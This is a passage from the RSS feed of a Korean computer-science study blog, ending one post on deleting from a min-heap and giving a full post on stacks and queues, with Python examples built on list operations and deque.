&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;433&quot; data-origin-height=&quot;351&quot;&gt;&lt;span data-url=&quot;https://velog.velcdn.com/images/2hey9/post/ffb05202-1ba3-4945-9c31-747d8f0ef1a3/image.png&quot; data-phocus=&quot;https://velog.velcdn.com/images/2hey9/post/ffb05202-1ba3-4945-9c31-747d8f0ef1a3/image.png&quot;&gt;&lt;img src=&quot;https://velog.velcdn.com/images/2hey9/post/ffb05202-1ba3-4945-9c31-747d8f0ef1a3/image.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fvelog.velcdn.com%2Fimages%2F2hey9%2Fpost%2Fffb05202-1ba3-4945-9c31-747d8f0ef1a3%2Fimage.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;433&quot; height=&quot;351&quot; data-origin-width=&quot;433&quot; data-origin-height=&quot;351&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1) 1 값을 가진 노드를 삭제한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;428&quot; data-origin-height=&quot;302&quot;&gt;&lt;span data-url=&quot;https://velog.velcdn.com/images/2hey9/post/28c36846-c46e-4aec-90f1-da623378ef24/image.png&quot; data-phocus=&quot;https://velog.velcdn.com/images/2hey9/post/28c36846-c46e-4aec-90f1-da623378ef24/image.png&quot;&gt;&lt;img src=&quot;https://velog.velcdn.com/images/2hey9/post/28c36846-c46e-4aec-90f1-da623378ef24/image.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fvelog.velcdn.com%2Fimages%2F2hey9%2Fpost%2F28c36846-c46e-4aec-90f1-da623378ef24%2Fimage.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;428&quot; height=&quot;302&quot; data-origin-width=&quot;428&quot; data-origin-height=&quot;302&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2) 루트 노드가 비게 되어, 이를 마지막 노드가 채운다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;438&quot; data-origin-height=&quot;323&quot;&gt;&lt;span data-url=&quot;https://velog.velcdn.com/images/2hey9/post/920fe09f-ed4e-46ad-87c2-6b7125568085/image.png&quot; data-phocus=&quot;https://velog.velcdn.com/images/2hey9/post/920fe09f-ed4e-46ad-87c2-6b7125568085/image.png&quot;&gt;&lt;img src=&quot;https://velog.velcdn.com/images/2hey9/post/920fe09f-ed4e-46ad-87c2-6b7125568085/image.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fvelog.velcdn.com%2Fimages%2F2hey9%2Fpost%2F920fe09f-ed4e-46ad-87c2-6b7125568085%2Fimage.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;438&quot; height=&quot;323&quot; data-origin-width=&quot;438&quot; data-origin-height=&quot;323&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3) 자식 노드 값이 더 작으므로 값을 교환해주기 위해 더 작은 값을 구한다. 2가 4보다 더 작으므로 2의 값을 가진 노드와 루트 노드의 자리를 바꾼다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;375&quot; data-origin-height=&quot;300&quot;&gt;&lt;span data-url=&quot;https://velog.velcdn.com/images/2hey9/post/7fe1cdc1-b81d-47d2-b7eb-9375a97ec871/image.png&quot; data-phocus=&quot;https://velog.velcdn.com/images/2hey9/post/7fe1cdc1-b81d-47d2-b7eb-9375a97ec871/image.png&quot;&gt;&lt;img src=&quot;https://velog.velcdn.com/images/2hey9/post/7fe1cdc1-b81d-47d2-b7eb-9375a97ec871/image.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fvelog.velcdn.com%2Fimages%2F2hey9%2Fpost%2F7fe1cdc1-b81d-47d2-b7eb-9375a97ec871%2Fimage.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;375&quot; height=&quot;300&quot; data-origin-width=&quot;375&quot; data-origin-height=&quot;300&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;4) 최소 힙을 만족해 삭제가 종료된다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EB%84%93%EA%B3%A0%EC%96%95%EA%B2%8C-%EC%BB%B4%EA%B3%B5-%EC%A0%84%EA%B3%B5%EC%9E%90&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EB%84%93%EA%B3%A0%EC%96%95%EA%B2%8C-%EC%BB%B4%EA%B3%B5-%EC%A0%84%EA%B3%B5%EC%9E%90&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://velog.io/@2hey9/%EC%9E%90%EB%A3%8C%EA%B5%AC%EC%A1%B0-%ED%8C%8C%EC%9D%B4%EC%8D%AC%EC%9C%BC%EB%A1%9C-%EA%B5%AC%ED%98%84%ED%95%98%EB%8A%94-%EC%9E%90%EB%A3%8C%EA%B5%AC%EC%A1%B0%EC%8A%A4%ED%83%9D-%ED%81%90-%ED%9E%99&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://velog.io/@2hey9/%EC%9E%90%EB%A3%8C%EA%B5%AC%EC%A1%B0-%ED%8C%8C%EC%9D%B4%EC%8D%AC%EC%9C%BC%EB%A1%9C-%EA%B5%AC%ED%98%84%ED%95%98%EB%8A%94-%EC%9E%90%EB%A3%8C%EA%B5%AC%EC%A1%B0%EC%8A%A4%ED%83%9D-%ED%81%90-%ED%9E%99&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>IT 지식/CS 기초</category>
      <category>2진 트리</category>
      <category>CS</category>
      <category>CS 기초</category>
      <category>비선형 구조</category>
      <category>선형 구조</category>
      <category>자료구조</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/178</guid>
      <comments>https://it-log.tistory.com/178#entry178comment</comments>
      <pubDate>Sat, 17 Aug 2024 00:12:02 +0900</pubDate>
    </item>
    <item>
      <title>선형 자료구조 Stack과 Queue</title>
      <link>https://it-log.tistory.com/177</link>
      <description>&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Stack(스택)&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;638&quot; data-origin-height=&quot;511&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2qo1L/btsIRV9TdM9/B3lcvQX0ZGAPmJTcMc9tbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2qo1L/btsIRV9TdM9/B3lcvQX0ZGAPmJTcMc9tbk/img.png&quot; data-alt=&quot;그림1 - Stack(스택)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2qo1L/btsIRV9TdM9/B3lcvQX0ZGAPmJTcMc9tbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2qo1L%2FbtsIRV9TdM9%2FB3lcvQX0ZGAPmJTcMc9tbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;638&quot; height=&quot;511&quot; data-origin-width=&quot;638&quot; data-origin-height=&quot;511&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1 - Stack(스택)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;1차원 선형 구조 &amp;rarr; I/O 지점이 1개 뿐인 자료구조 &amp;rarr; Stack&amp;nbsp;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;&lt;b&gt;Last In First Out&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;구조 (LIFO) &amp;rarr; 후입선출, 김치냉장고&amp;nbsp;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;처음 넣은 것은 맨 아래 바닥에 깔린다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;두 번째부터는 처음 넣은 것 위에 쌓인다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;바닥에 있는 것을 꺼내려면 위에 쌓인 것들을 모두 치우는 수 밖에 없다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;생각해볼 문제: 이런 구조는 왜 필요할까? &amp;rarr; 뒤집기(순서 바꾸기),&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;되돌아가기(Ctrl + Z)&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;&lt;b&gt;Stack &amp;rarr; Ctrl + Z&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Queue(큐)&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1014&quot; data-origin-height=&quot;319&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhWFlH/btsIRl81MUR/Pz8CfpaWkUgfIiirzxpDP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhWFlH/btsIRl81MUR/Pz8CfpaWkUgfIiirzxpDP1/img.png&quot; data-alt=&quot;그림2 - Queue(큐)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhWFlH/btsIRl81MUR/Pz8CfpaWkUgfIiirzxpDP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhWFlH%2FbtsIRl81MUR%2FPz8CfpaWkUgfIiirzxpDP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1014&quot; height=&quot;319&quot; data-origin-width=&quot;1014&quot; data-origin-height=&quot;319&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림2 - Queue(큐)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;I/O 지점이 양 끝단으로 나뉘어져 있다. &amp;rarr; Queue&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;&lt;b&gt;First In First Out&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;구조 &amp;rarr; 선입선출&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;버스를 타기 위해 줄을 서는 것과 같다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;은행에서 번호표 뽑은 순서로 기다리는 것과 같다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;Enqueue &amp;rarr; 큐에 뭔가를 집어넣는다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;Dequeue &amp;rarr; 큐에 뭔가를 뺀다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;멀티태스킹, 멀티스레딩 환경에서 Queue 자료구조 사용 &amp;rarr; 동기화&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;생각해볼 문제: 비슷해 보이지만 버스를 타려고 줄을 선 것과 은행에서 기다리는 것은 차이가 있다. 무엇이 같고 무엇이 다를까?&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;&lt;b&gt;Queue &amp;rarr; 은행에서 번호표 뽑은 순서로 처리하기&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;파이썬 코드로 Stack 구현하기&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;파이썬의 list(리스트)로 구현 가능&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;push &amp;rarr; append (추가)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;pop &amp;rarr; pop (제일 끝의 요소가 삭제됨)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;push(값 삽입)은 append로, pop(값 빼기)는 pop을 사용한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;lt; 입력 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1722588398032&quot; class=&quot;python&quot; style=&quot;color: #333333; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;stack = []          # stack 변수에 빈 리스트 대입
stack.append(1)     # 1을 push
stack.append(2)     # 2를 push
stack.append(3)     # 3을 push
stack.append(4)     # 4를 push
stack.append(5)     # 5를 push
stack.append(6)     # 6을 push
print(stack)        # stack 변수 출력
print(stack.pop())  # stack 변수에서 pop으로 값 빼기
print(stack)        # stack 변수 출력
print(stack.pop())  # stack 변수에서 pop으로 값 빼기
print(stack)        # stack 변수 출력&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;lt; 출력 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1722588398035&quot; class=&quot;python&quot; style=&quot;color: #333333; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;[1, 2, 3, 4, 5, 6]
6
[1, 2, 3, 4, 5]
5
[1, 2, 3, 4]&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;파이썬 코드로 Queue 구현하기&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;파이썬에서 제공하는 deque 라이브러리를 사용하여 구현 가능&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;Enqueue &amp;rarr; append (추가)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;Dequeue &amp;rarr; popleft (제일 앞의 요소가 삭제됨)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;lt; 입력 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1722588398037&quot; class=&quot;python&quot; style=&quot;color: #333333; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;from collections import deque # deque 불러오기
queue = [1,2,3,4,5,6]         # queue 변수에 값 대입
result = deque(queue)         # result에 queue 리스트를 deque로 변경 후 대입 
print(result)                 # result 출력
result.append(7)              # result에 7 추가
print(result.popleft())       # result에서 popleft로 값 빼기
print(result)                 # result 출력
print(result.popleft())       # result에서 popleft로 값 빼기
print(result)                 # result 출력&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;lt;출력&amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1722588398038&quot; class=&quot;python&quot; style=&quot;color: #333333; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;deque([1, 2, 3, 4, 5, 6])
1
deque([2, 3, 4, 5, 6, 7])
2
deque([3, 4, 5, 6, 7])&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EB%84%93%EA%B3%A0%EC%96%95%EA%B2%8C-%EC%BB%B4%EA%B3%B5-%EC%A0%84%EA%B3%B5%EC%9E%90&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EB%84%93%EA%B3%A0%EC%96%95%EA%B2%8C-%EC%BB%B4%EA%B3%B5-%EC%A0%84%EA%B3%B5%EC%9E%90&lt;/a&gt;&lt;/p&gt;</description>
      <category>IT 지식/CS 기초</category>
      <category>CS</category>
      <category>CS 기초</category>
      <category>queue</category>
      <category>stack</category>
      <category>선형 구조</category>
      <category>스택</category>
      <category>자료구조</category>
      <category>큐</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/177</guid>
      <comments>https://it-log.tistory.com/177#entry177comment</comments>
      <pubDate>Fri, 16 Aug 2024 00:12:14 +0900</pubDate>
    </item>
  </channel>
</rss>